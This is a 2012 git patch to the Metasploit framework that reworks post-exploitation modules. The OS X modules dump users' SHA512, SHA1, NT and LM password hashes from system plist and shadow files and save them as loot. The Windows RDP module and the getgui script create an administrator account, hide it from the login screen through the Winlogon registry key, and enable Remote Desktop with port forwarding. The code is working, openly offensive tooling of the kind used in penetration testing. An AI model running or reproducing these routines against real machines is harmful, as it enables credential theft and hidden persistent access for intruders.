From b9e7af6bcd1e4d8e3a64151f7b658f479f133281 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 4 Jun 2012 10:56:40 -0400 Subject: [PATCH] fixes to OSX modules as requested by egypt on redmine ticket and fixes to the remote desktop post modules --- modules/post/osx/gather/enum_osx.rb | 62 ++++++---------- modules/post/osx/gather/hashdump.rb | 88 +++++++---------------- modules/post/windows/manage/enable_rdp.rb | 48 +++++++++---- scripts/meterpreter/getgui.rb | 47 ++++++++---- 4 files changed, 113 insertions(+), 132 deletions(-) diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index a093c6f56f..4f3cc0dc5c 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Post enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) - dump_hash(log_folder,ver_num) if running_root + dump_hash(ver_num) if running_root dump_bash_history(log_folder) get_keychains(log_folder) @@ -474,12 +474,10 @@ class Metasploit3 < Msf::Post print_status("Dumping Hashes") users = [] nt_hash = nil - host,port = session.session_host, session.session_port + host = session.session_host # Path to files with hashes - nt_file = ::File.join(log_folder,"nt_hash.txt") - lm_file = ::File.join(log_folder,"lm_hash.txt") - sha1_file = ::File.join(log_folder,"sha1_hash.txt") + sha1_file = "" # Check if system is Lion if not continue if ver_num =~ /10\.(7)/ @@ -496,12 +494,12 @@ class Metasploit3 < Msf::Post next if p =~ /^daemon|root|nobody/ # Turn profile plist in to XML format - cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") - cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}") - file = cmd_exec("cat /tmp/#{p.chomp}") + cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") + cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}") + file = cmd_exec("cat","/tmp/#{p.chomp}") # Clean up using secure delete overwriting and zeroing blocks - cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}") + cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}") # Process XML Plist into a usable hash plist_values = read_ds_xml_plist(file) @@ -510,38 +508,31 @@ class Metasploit3 < Msf::Post plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| hash_decoded << sprintf("%02X", b) end - user = plist_values['name'] + user = plist_values['name'].join("") # Check if NT HASH is present if hash_decoded =~ /4F1010/ - nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/) + nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0] end # Carve out the SHA512 Hash, the first 4 bytes is the salt sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] print_status("SHA512:#{user}:#{sha512}") - p = store_loot( - 'osx.hash.sha512', - 'text/plain', - session, - "#{user}:#{sha512}", - user - ) - print_status("SHA512 Hash saved as: #{p}") + sha1_file << "#{user}:#{sha512}\n" # Reset hash value sha512 = "" if nt_hash print_status("NT:#{user}:#{nt_hash}") - file_local_write(nt_file,"#{user}:#{nt_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => nt_hash, + :pass => "AAD3B435B51404EE:#{nt_hash}", :active => true ) @@ -552,6 +543,9 @@ class Metasploit3 < Msf::Post hash_decoded = "" end end + # Save pwd file + upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File") + print_good("Unshadowed Password File: #{upassf}") # If system was lion and it was processed nothing more to do return @@ -566,13 +560,9 @@ class Metasploit3 < Msf::Post # Process each user users.each do |user| if ver_num =~ /10\.(6|5)/ - guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp - elsif ver_num =~ /10\.(4|3)/ - guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp - end # Extract the hashes @@ -580,46 +570,40 @@ class Metasploit3 < Msf::Post nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp - # Check that we have the hashes and save them if sha1_hash !~ /00000000000000000000000000000000/ print_status("SHA1:#{user}:#{sha1_hash}") - file_local_write(sha1_file,"#{user}:#{sha1_hash}") - report_auth_info( - :host => host, - :port => 0, - :sname => 'sha1', - :user => user, - :pass => sha1_hash, - :active => true - ) + sha1_file << "#{user}:#{sha1_hash}" end if nt_hash !~ /000000000000000/ print_status("NT:#{user}:#{nt_hash}") - file_local_write(nt_file,"#{user}:#{nt_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => nt_hash, + :pass => "AAD3B435B51404EE:#{nt_hash}", :active => true ) end if lm_hash !~ /0000000000000/ print_status("LM:#{user}:#{lm_hash}") - file_local_write(lm_file,"#{user}:#{lm_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => lm_hash, + :pass => "#{lm_hash}:", :active => true ) end end + # Save pwd file + upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File") + print_good("Unshadowed Password File: #{upassf}") end # Download configured Keychains diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 660e2c0b7d..841340c591 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -50,10 +50,8 @@ class Metasploit3 < Msf::Post print_status("This session is running as root!") end ver_num = get_ver - log_folder = log_folder_create() if running_root - print_status("Saving files with hashes in #{log_folder} and Database") - dump_hash(log_folder,ver_num) + dump_hash(ver_num) else print_error("Insufficient Privileges you must be running as root to dump the hashes") end @@ -89,31 +87,6 @@ class Metasploit3 < Msf::Post return fields end - # Function for creating the folder for gathered data - def log_folder_create(log_path = nil) - #Get hostname - case session.type - when /meterpreter/ - host = Rex::FileUtils.clean_path(session.sys.config.sysinfo["Computer"]) - when /shell/ - host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp) - end - - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo ) - else - logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo ) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - return logs - end - # Checks if running as root on the target def check_root # Get only the account ID @@ -136,16 +109,14 @@ class Metasploit3 < Msf::Post end # Dump SHA1 Hashes used by OSX, must be root to get the Hashes - def dump_hash(log_folder,ver_num) + def dump_hash(ver_num) print_status("Dumping Hashes") users = [] nt_hash = nil - host,port = session.session_host, session.session_port + host = session.session_host # Path to files with hashes - nt_file = ::File.join(log_folder,"nt_hash.txt") - lm_file = ::File.join(log_folder,"lm_hash.txt") - sha1_file = ::File.join(log_folder,"sha1_hash.txt") + sha1_file = "" # Check if system is Lion if not continue if ver_num =~ /10\.(7)/ @@ -162,12 +133,12 @@ class Metasploit3 < Msf::Post next if p =~ /^daemon|root|nobody/ # Turn profile plist in to XML format - cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") - cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}") - file = cmd_exec("cat /tmp/#{p.chomp}") + cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") + cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}") + file = cmd_exec("cat","/tmp/#{p.chomp}") # Clean up using secure delete overwriting and zeroing blocks - cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}") + cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}") # Process XML Plist into a usable hash plist_values = read_ds_xml_plist(file) @@ -176,38 +147,31 @@ class Metasploit3 < Msf::Post plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| hash_decoded << sprintf("%02X", b) end - user = plist_values['name'] + user = plist_values['name'].join("") # Check if NT HASH is present if hash_decoded =~ /4F1010/ - nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/) + nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0] end # Carve out the SHA512 Hash, the first 4 bytes is the salt sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] print_status("SHA512:#{user}:#{sha512}") - file_local_write(sha1_file,"#{user}:#{sha512}") - report_auth_info( - :host => host, - :port => 0, - :sname => 'sha512', - :user => user, - :pass => sha512, - :active => false - ) + sha1_file << "#{user}:#{sha512}\n" + # Reset hash value sha512 = "" if nt_hash print_status("NT:#{user}:#{nt_hash}") - file_local_write(nt_file,"#{user}:#{nt_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => nt_hash, + :pass => "AAD3B435B51404EE:#{nt_hash}", :active => true ) @@ -218,6 +182,9 @@ class Metasploit3 < Msf::Post hash_decoded = "" end end + # Save pwd file + upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File") + print_good("Unshadowed Password File: #{upassf}") # If system was lion and it was processed nothing more to do return @@ -245,41 +212,36 @@ class Metasploit3 < Msf::Post # Check that we have the hashes and save them if sha1_hash !~ /00000000000000000000000000000000/ print_status("SHA1:#{user}:#{sha1_hash}") - file_local_write(sha1_file,"#{user}:#{sha1_hash}") - report_auth_info( - :host => host, - :port => 0, - :sname => 'sha1', - :user => user, - :pass => sha1_hash, - :active => false - ) + sha1_file << "#{user}:#{sha1_hash}" end if nt_hash !~ /000000000000000/ print_status("NT:#{user}:#{nt_hash}") - file_local_write(nt_file,"#{user}:#{nt_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => nt_hash, + :pass => "AAD3B435B51404EE:#{nt_hash}", :active => true ) end if lm_hash !~ /0000000000000/ print_status("LM:#{user}:#{lm_hash}") - file_local_write(lm_file,"#{user}:#{lm_hash}") + print_status("Credential saved in database.") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, - :pass => lm_hash, + :pass => "#{lm_hash}:", :active => true ) end end + # Save pwd file + upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File") + print_good("Unshadowed Password File: #{upassf}") end end diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index 9a55f0148a..f7af8c5c26 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -15,12 +15,14 @@ require 'msf/core/post/file' require 'msf/core/post/windows/accounts' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Priv include Msf::Post::Common include Msf::Post::File @@ -49,17 +51,24 @@ class Metasploit3 < Msf::Post end def run - if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD']) cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" , - "enable_rdp_cleanup.rc", "enable_rdp cleanup resource file") + "enable_rdp_cleanup.rc", "enable_rdp cleanup resource file") if datastore['ENABLE'] - enablerd(cleanup_rc) - enabletssrv(cleanup_rc) + if is_admin? + enablerd(cleanup_rc) + enabletssrv(cleanup_rc) + else + print_error("Insufficient privileges, Remote Desktop Service was not modified") + end end if datastore['USERNAME'] and datastore['PASSWORD'] - addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc) + if is_admin? + addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc) + else + print_error("Insufficient privileges, account was not be created.") + end end if datastore['FORDWARD'] print_status("Starting the port forwarding at local port #{datastore['LPORT']}") @@ -115,25 +124,34 @@ class Metasploit3 < Msf::Post def addrdpusr(username, password,cleanup_rc) - rdu = resolve_sid("S-1-5-32-555")[:name] admin = resolve_sid("S-1-5-32-544")[:name] print_status "Setting user account for logon" print_status "\tAdding User: #{username} with Password: #{password}" begin - cmd_exec("net user #{username} #{password} /add") - file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("net localgroup \"#{rdu}\" #{username} /add") + addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tAdding User: #{username} to local group '#{rdu}'" + cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" + print_status "\tHiding user from Windows Login screen" + hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' + registry_setvaldata(hide_user_key,username,0,"REG_DWORD") + file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + print_status "\tAdding User: #{username} to local group '#{admin}'" + cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") + print_status "You can now login with the created user" + else + print_error("Account could not be created") + print_error("Error:") + addusr_out.each_line do |l| + print_error("\t#{l.chomp}") + end + end rescue::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end end - - end diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index 5c513413fc..59826d0f46 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -91,18 +91,26 @@ def addrdpusr(session, username, password) print_status "Setting user account for logon" print_status "\tAdding User: #{username} with Password: #{password}" begin - cmd_exec("net user #{username} #{password} /add") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tHiding user from Windows Login screen" - hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' - registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("net localgroup \"#{rdu}\" #{username} /add") + addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tHiding user from Windows Login screen" + hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' + registry_setvaldata(hide_user_key,username,0,"REG_DWORD") + file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + print_status "\tAdding User: #{username} to local group '#{rdu}'" + cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" + print_status "\tAdding User: #{username} to local group '#{admin}'" + cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") + print_status "You can now login with the created user" + else + print_error("Account could not be created") + print_error("Error:") + addusr_out.each_line do |l| + print_error("\t#{l.chomp}") + end + end rescue::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end @@ -143,13 +151,22 @@ if client.platform =~ /win32|win64/ if enbl or (usr and pass) message if enbl - enablerd() - enabletssrv() + if is_admin? + enablerd() + enabletssrv() + else + print_error("Insufficient privileges, Remote Desktop Service was not modified.") + end end + if usr and pass - - addrdpusr(session, usr, pass) + if is_admin? + addrdpusr(session, usr, pass) + else + print_error("Insufficient privileges, account was not be created.") + end end + if frwrd == true print_status("Starting the port forwarding at local port #{lport}") client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")